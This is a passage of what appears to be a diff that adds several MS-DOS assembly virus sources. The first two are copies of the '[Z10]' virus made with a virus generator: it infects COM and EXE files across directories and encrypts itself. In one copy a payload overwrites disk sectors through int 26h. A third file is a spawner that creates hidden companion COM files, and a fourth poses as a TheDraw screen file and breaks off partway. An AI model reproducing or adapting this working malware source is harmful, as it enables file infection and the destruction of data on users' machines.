||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate: ; Conditions satisfied
|
||||
mov al,0002h ; First argument is 2
|
||||
mov cx,0080h ; Second argument is 16
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; Remove the semi-colon
|
||||
sti ; Restore interrupts
|
||||
mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[PF]',0 ; Mass Produced Code Generator
|
||||
virusname db '[Z10]',0
|
||||
author db 'Paul Ferguson',0
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||
jz find_next
|
||||
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,13000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
||||
@@ -0,0 +1,353 @@
|
||||
; Z10.asm : [Z10] by Paul Ferguson
|
||||
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||||
; from the configuration file skeleton.cfg
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'ZA' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: loop decrypt ; handles encryption and decryption
|
||||
patch_startencrypt:
|
||||
mov si,offset startencrypt ; start of decryption
|
||||
mov di,(offset heap - offset startencrypt)/2 ; iterations
|
||||
decrypt_loop:
|
||||
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc si ; calculate new decryption location
|
||||
inc si
|
||||
dec di ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],2 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h
|
||||
cmp dl,90 ; Check the percentage
|
||||
jbe activate
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate: ; Conditions satisfied
|
||||
|
||||
jmp exit_virus
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||
jz find_next
|
||||
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,13000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
||||
@@ -0,0 +1,174 @@
|
||||
;NON-RESIDENT SPAWNER
|
||||
|
||||
; I threw this thing together in less than an hour and haven't looked
|
||||
; at it since so yes, I know it needs real work. Mangle and change as
|
||||
; you please. The original goal was to create the smallest spawner but
|
||||
; I got bored with the whole thing. Some of the code was taken from
|
||||
; the source code to Directory Magic by pcmag. Have phun....
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
CSEG SEGMENT
|
||||
ASSUME CS:CSEG,DS:NOTHING
|
||||
|
||||
ORG 100H ;Beginning for .COM programs
|
||||
|
||||
START: JMP MY_BEGIN ;Initialization code is at end
|
||||
|
||||
|
||||
wild DB "*.EXE",0
|
||||
file_Ext DB "COM",0
|
||||
file_found DB 12 DUP(' '), 0
|
||||
file_create DB 12 DUP(' '), 0
|
||||
search_attrib DW 17H
|
||||
num_infect dw 0
|
||||
|
||||
my_cmd:
|
||||
Cmd_len db 13
|
||||
file_clone db 12 DUP (' '), 0
|
||||
|
||||
ASSUME CS:CSEG, DS:CSEG, ES:NOTHING
|
||||
|
||||
;------------------------------------------------------------------;
|
||||
Prepare_command:
|
||||
cld
|
||||
mov di,OFFSET file_clone
|
||||
mov al,0
|
||||
mov cx,12
|
||||
repne scasb ; find the end of string \0
|
||||
|
||||
mov al,0Dh ; <CR>
|
||||
stosb ; replace \0 with a <CR>
|
||||
|
||||
mov ax,12 ;store length of the command
|
||||
sub ax,cx
|
||||
mov cmd_len, al
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------;
|
||||
Store_name:
|
||||
|
||||
MOV DI,OFFSET file_found ;Point to buffer.
|
||||
MOV SI,158
|
||||
MOV CX,12
|
||||
REP MOVSB
|
||||
|
||||
MOV DI,OFFSET file_create ;Point to buffer.
|
||||
MOV SI,158
|
||||
MOV CX,12
|
||||
REP MOVSB
|
||||
|
||||
cld
|
||||
mov di,OFFSET file_create
|
||||
mov al,'.'
|
||||
mov cx,9
|
||||
repne scasb ;find the '.'
|
||||
|
||||
mov si,OFFSET file_ext
|
||||
mov cx,3
|
||||
rep movsb ;replace the .EXE with .COM
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;------------------------------------------------------------------;
|
||||
;Does the file exist?
|
||||
|
||||
Check_file:
|
||||
mov dx,OFFSET file_create
|
||||
mov cx,0
|
||||
mov ax,3d00h ; Open file read only
|
||||
int 21h
|
||||
|
||||
Chk_done:
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------;
|
||||
Infect_file:
|
||||
;Create file
|
||||
mov dx,OFFSET file_create
|
||||
mov cx,0
|
||||
mov ah,3ch
|
||||
int 21h
|
||||
jc EXIT
|
||||
|
||||
;Write to file
|
||||
mov bx,ax
|
||||
mov cx,(OFFSET END_OF_CODE - OFFSET START)
|
||||
mov dx,OFFSET START
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
;Close file
|
||||
mov ah,3eh ; ASSUMES bx still has file handle
|
||||
int 21h
|
||||
|
||||
;Change attributes
|
||||
mov dx,OFFSET file_create
|
||||
mov cx,3 ;(1) read only, (2) hidden, (4) system
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------;
|
||||
; Read all the directory filenames and store as records in buffer. ;
|
||||
;------------------------------------------------------------------;
|
||||
|
||||
MY_BEGIN:
|
||||
mov sp,offset STACK_HERE ;move stack down
|
||||
mov bx,sp
|
||||
add bx,15
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
mov ah,4ah ;deallocate rest of memory
|
||||
int 21h
|
||||
|
||||
MOV DI,OFFSET file_clone ;Point to buffer.
|
||||
MOV SI,OFFSET file_found
|
||||
MOV CX,12
|
||||
REP MOVSB
|
||||
|
||||
READ_DIR: MOV DX,OFFSET wild
|
||||
MOV CX,search_attrib
|
||||
|
||||
MOV AH,4EH ; This finds the first matching file.
|
||||
INT 21H
|
||||
|
||||
JC EXIT ;If empty directory, exit.
|
||||
|
||||
Do_file:
|
||||
call Store_name
|
||||
|
||||
call Check_file
|
||||
jnc seek_another ; CF = 0, shadow already there... skip it
|
||||
|
||||
call Infect_file
|
||||
jmp Exit
|
||||
|
||||
seek_another:
|
||||
|
||||
find_next:
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jmp Do_file
|
||||
|
||||
EXIT:
|
||||
|
||||
;Run the original program
|
||||
call Prepare_command
|
||||
mov si, OFFSET my_cmd
|
||||
int 2Eh ;Pass command to command
|
||||
; interpreter for execution
|
||||
;Exit to DOS
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
|
||||
END_OF_CODE = $
|
||||
|
||||
STACK_HERE EQU END_OF_CODE + 512
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
@@ -0,0 +1,241 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ ZEP ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 12-Nov-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 0A0h
|
||||
data_9e equ 418h ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
zep proc far
|
||||
|
||||
start:
|
||||
jmp short loc_1
|
||||
db 90h
|
||||
data_2 db 0
|
||||
data_3 dw 216h
|
||||
db 2
|
||||
data_4 dw 0
|
||||
db 'TheDraw COM file Screen Save'
|
||||
db 1Ah
|
||||
data_5 db 'Unsupported Video Mode', 0Dh, 0Ah
|
||||
db '$'
|
||||
loc_1:
|
||||
mov ah,0Fh
|
||||
int 10h ; Video display ah=functn 0Fh
|
||||
; get state, al=mode, bh=page
|
||||
; ah=columns on screen
|
||||
mov bx,0B800h
|
||||
cmp al,2
|
||||
je loc_2 ; Jump if equal
|
||||
cmp al,3
|
||||
je loc_2 ; Jump if equal
|
||||
mov data_2,0
|
||||
mov bx,0B000h
|
||||
cmp al,7
|
||||
je loc_2 ; Jump if equal
|
||||
mov dx,offset data_5 ; ('Unsupported Video Mode')
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
retn
|
||||
loc_2:
|
||||
mov es,bx
|
||||
mov di,data_4
|
||||
mov si,offset data_6
|
||||
mov dx,3DAh
|
||||
mov bl,9
|
||||
mov cx,data_3
|
||||
cld ; Clear direction
|
||||
xor ax,ax ; Zero register
|
||||
|
||||
locloop_4:
|
||||
lodsb ; String [si] to al
|
||||
cmp al,1Bh
|
||||
jne loc_5 ; Jump if not equal
|
||||
xor ah,80h
|
||||
jmp short loc_20
|
||||
loc_5:
|
||||
cmp al,10h
|
||||
jae loc_8 ; Jump if above or =
|
||||
and ah,0F0h
|
||||
or ah,al
|
||||
jmp short loc_20
|
||||
loc_8:
|
||||
cmp al,18h
|
||||
je loc_11 ; Jump if equal
|
||||
jnc loc_12 ; Jump if carry=0
|
||||
sub al,10h
|
||||
add al,al
|
||||
add al,al
|
||||
add al,al
|
||||
add al,al
|
||||
and ah,8Fh
|
||||
or ah,al
|
||||
jmp short loc_20
|
||||
loc_11:
|
||||
mov di,data_4
|
||||
add di,data_1e
|
||||
mov data_4,di
|
||||
jmp short loc_20
|
||||
loc_12:
|
||||
mov bp,cx
|
||||
mov cx,1
|
||||
cmp al,19h
|
||||
jne loc_13 ; Jump if not equal
|
||||
lodsb ; String [si] to al
|
||||
mov cl,al
|
||||
mov al,20h ; ' '
|
||||
dec bp
|
||||
jmp short loc_14
|
||||
loc_13:
|
||||
cmp al,1Ah
|
||||
jne loc_15 ; Jump if not equal
|
||||
lodsb ; String [si] to al
|
||||
dec bp
|
||||
mov cl,al
|
||||
lodsb ; String [si] to al
|
||||
dec bp
|
||||
loc_14:
|
||||
inc cx
|
||||
loc_15:
|
||||
cmp data_2,0
|
||||
je loc_18 ; Jump if equal
|
||||
mov bh,al
|
||||
|
||||
locloop_16:
|
||||
in al,dx ; port 3DAh, CGA/EGA vid status
|
||||
rcr al,1 ; Rotate thru carry
|
||||
jc locloop_16 ; Jump if carry Set
|
||||
loc_17:
|
||||
in al,dx ; port 3DAh, CGA/EGA vid status
|
||||
and al,bl
|
||||
jnz loc_17 ; Jump if not zero
|
||||
mov al,bh
|
||||
stosw ; Store ax to es:[di]
|
||||
loop locloop_16 ; Loop if cx > 0
|
||||
|
||||
jmp short loc_19
|
||||
loc_18:
|
||||
rep stosw ; Rep when cx >0 Store ax to es:[di]
|
||||
loc_19:
|
||||
mov cx,bp
|
||||
loc_20:
|
||||
jcxz loc_ret_21 ; Jump if cx=0
|
||||
loop locloop_4 ; Loop if cx > 0
|
||||
|
||||
|
||||
loc_ret_21:
|
||||
retn
|
||||
data_6 db 9
|
||||
db 10h, 19h, 45h, 18h, 19h, 1Bh
|
||||
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
|
||||
